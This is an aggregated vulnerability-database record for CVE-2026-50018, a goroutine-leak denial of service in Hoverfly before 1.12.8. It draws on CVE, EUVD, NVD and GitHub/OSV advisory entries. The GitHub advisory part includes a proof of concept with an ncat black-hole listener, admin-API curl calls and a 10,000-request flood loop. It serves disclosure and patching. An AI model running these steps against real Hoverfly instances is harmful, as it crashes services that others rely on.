{"id":"CVE-2026-50018","revision":null,"records":[{"revision":"2d805af2a17e4f1c8faf8dba55317731","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-50018","aliases":[],"title":"Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions","description":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.","state":0,"publishedAt":"2026-09-11T21:28:29.228+00:00","modifiedAt":"2026-09-14T19:28:30.918+00:00","affected":[{"ecosystem":"Vendor product","name":"hoverfly","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SpectoLabs\",\n                    \"product\": \"hoverfly\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.12.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7","https://github.com/SpectoLabs/hoverfly/pull/1228","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-50018","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-50018","identifiers":["CVE-2026-50018"]},"retained":false,"historicalAffected":[]},{"revision":"aea456f6ac054f4f982a8fb52612fccc","observedAt":"2026-11-11T13:05:40.234+00:00","statement":{"source":"euvd","id":"EUVD-2026-76754","aliases":["CVE-2026-50018","GHSA-42j2-w334-qxw7"],"title":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connec…","description":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","score":6.5,"severity":null}],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7","https://github.com/SpectoLabs/hoverfly/pull/1228","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-76754","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 11, 2026, 9:28:29 PM","dateUpdated":"Sep 14, 2026, 7:28:30 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-76754","identifiers":["EUVD-2026-76754","CVE-2026-50018","GHSA-42j2-w334-qxw7"]},"retained":false,"historicalAffected":[]},{"revision":"ba4f1a4d798a4ee0b5813f0d4370b837","observedAt":"2026-10-25T12:17:38.331+00:00","statement":{"source":"nvd","id":"CVE-2026-50018","aliases":[],"title":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connec…","description":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.","state":0,"publishedAt":"2026-09-11T22:16:37.95+00:00","modifiedAt":"2026-09-30T17:51:56.193+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/SpectoLabs/hoverfly/pull/1228","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8","https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50018","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-400","CWE-770"],"productCriteria":[],"sourceDates":{"published":"2026-09-11T22:16:37.950","lastModified":"2026-09-30T17:51:56.193"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-50018","identifiers":["CVE-2026-50018"]},"retained":false,"historicalAffected":[]},{"revision":"a9392eec3bc545d885c3dfa4eb099623","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-42j2-w334-qxw7","aliases":["CVE-2026-50018","GO-2026-5975"],"title":"Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions","description":"### Summary:\n\nRemote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.\n\n### Details:\n\n**1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):**\n\n```go\ngo postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)\n```\n\nPost-serve actions are executed in separate goroutines with no recovery wrapper.\n\n**2. HTTP client has no timeout (`core/action/action.go:128-143`):**\n\n```go\nreq, err := http.NewRequest(\"POST\", action.Remote, bytes.NewBuffer(pairViewBytes))\n// ...\nresp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.\n```\n\n`http.DefaultClient` has zero timeout by default in Go. If the remote server:\n- Accepts the TCP connection but never sends a response\n- Establishes TLS but never completes the handshake  \n- Uses TCP window size 0 (flow control stall)\n\n...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.\n\n**3. No goroutine limit or backpressure:**\n\nThere is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.\n\n**4. The goroutine is never cleaned up:**\n\nThe only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Default (no flags required)\n\n### POC:\n\n**Step 1: Start a black-hole TCP listener (accepts connections, never responds)**\n\n```bash\n# Option A: Use ncat\nncat -l -k 9999 &\n\n# Option B: Use a non-routable IP (connections hang at TCP SYN)\n# 192.0.2.1 is TEST-NET-1, guaranteed non-routable\n# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)\n```\n\n**Step 2: Register remote post-serve action pointing to the black hole**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"actionName\": \"leak\",\n    \"remote\": \"http://192.0.2.1:9999/blackhole\",\n    \"delayInMs\": 0\n  }'\n```\n\n**Step 3: Load a catch-all simulation**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"data\": {\n      \"pairs\": [{\n        \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n        \"response\": {\"status\": 200, \"body\": \"ok\", \"postServeAction\": \"leak\"}\n      }],\n      \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n    },\n    \"meta\": {\"schemaVersion\": \"v5.2\"}\n  }'\n```\n\n**Step 4: Flood with requests**\n\n```bash\n# Each request spawns an immortal goroutine\nfor i in $(seq 1 10000); do\n    curl -s -x http://localhost:8500 \"http://target.com/req${i}\" &\n    # Throttle to avoid local FD exhaustion\n    [ $((i % 100)) -eq 0 ] && wait\ndone\n```\n\n**Verified memory impact on Hoverfly v1.12.7:**\n\n```\nMemory before: 20,064 KB\nMemory after 50 requests: 23,376 KB\nMemory increase: 3,312 KB (66 KB per goroutine)\n```\n\nAt this rate:\n- 1,000 requests = ~64 MB leaked\n- 10,000 requests = ~640 MB leaked\n- 100,000 requests = ~6.4 GB leaked → OOM crash\n\n### Impact:\n\nAn attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:\n\n1. Registering a remote post-serve action pointing to a non-responsive endpoint.\n2. Loading a catch-all simulation that triggers the action on every request.\n3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.","state":0,"publishedAt":"2026-07-14T18:04:55+00:00","modifiedAt":"2026-07-21T19:19:22.5774199+00:00","affected":[{"ecosystem":"Go","name":"github.com/SpectoLabs/hoverfly","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.12.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7","https://github.com/SpectoLabs/hoverfly/pull/1228","https://github.com/SpectoLabs/hoverfly","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://github.com/advisories/GHSA-42j2-w334-qxw7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-42j2-w334-qxw7","identifiers":["GHSA-42j2-w334-qxw7","CVE-2026-50018","GO-2026-5975"]},"retained":false,"historicalAffected":[]},{"revision":"9aa8ed05b12b42f9b23c516288428da9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5975","aliases":["CVE-2026-50018","GHSA-42j2-w334-qxw7"],"title":"Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly","description":"Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly","state":0,"publishedAt":"2026-07-17T19:42:05+00:00","modifiedAt":"2026-07-21T19:15:34.7292662+00:00","affected":[{"ecosystem":"Go","name":"github.com/SpectoLabs/hoverfly","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.12.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7","https://github.com/SpectoLabs/hoverfly/pull/1228","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5975","license":"OSV · upstream source license applies","key":"osv:GO-2026-5975","identifiers":["GO-2026-5975","CVE-2026-50018","GHSA-42j2-w334-qxw7"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}